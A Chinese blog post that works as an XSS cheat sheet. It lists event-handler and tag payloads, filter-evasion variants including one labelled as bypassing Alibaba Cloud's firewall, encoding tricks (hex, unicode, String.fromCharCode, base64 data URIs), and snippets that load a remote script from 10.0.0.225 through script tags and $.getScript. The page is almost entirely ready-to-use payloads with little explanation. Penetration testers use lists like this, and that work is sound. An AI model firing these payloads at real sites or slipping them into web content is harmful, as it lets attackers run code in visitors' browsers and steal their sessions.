Loading

XSS漏洞

一、XSS检测标签

<ScRipt>ALeRt("XSS");</sCRipT>
<sc<script>ript>alert(/xss/)</script>
<img src=""onerror="alert('xss')"> 
<img/src/onerror=alert(1)> 
<img/src='a'onerror=[1].find(alert)>
<iframe onload=alert(1)>
<marquee/onstart=confirm(1)>
<details/open/ontoggle=top["al"+"ert"](1)> 谷歌浏览器 【绕阿里云XSS】
<svg/onload=prompt(1)>
<style onload=alert(1)>
<body onload=prompt(1);>
<details open ontoggle=alert(1)>

二、编码转换说明

1.js代码转换为\u编码
http://www.msxindl.com/tools/unicode16.asp
2.可以将ascii码转换为unicode
http://www.msxindl.com/tools/unicode.asp
进而放入sublime将;去掉,把&#替换为,即可。这样就可以使用String.fromCharCode()。
(ps:String.fromCharCode不宜过长)
3.data协议
PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+这里Base64解码后的结果
<script>alert('data protocol')</script>

js文件内容使用如下编码:
1.JS+base16编码
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
2.unicode编码
<img src="1"
onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063\u006f\u0
064\u0065\u0027\u0029")></img>
3.String.fromCharCode
<IMG SRC=/ onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,10 1,39,41))"></img>
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+">
</object>

三、远程加载js源码

注意:有些网站只能加载https网站的js代码,有些只能加载http网站的js的代码

<svg onload="$.getScript`http://10.0.0.225/test2.js`" stype="display:none">
<script src=http://10.0.0.225/test2.js></script>
<img src=x onerror=$.getScript('http://10.0.0.225/test2.js')>
<details ontoggle="$.getScript`http://10.0.0.225/test2.js`">123</details>(详细信息)
<script src="http://10.0.0.225/test2.js"></script>

四、XSS bypass参考文档

XSS Filter Evasion Cheat Sheet_最终版

posted @ 2021-07-12 22:32  Ctrl_C+Ctrl_V  阅读(105)  评论(0)    收藏  举报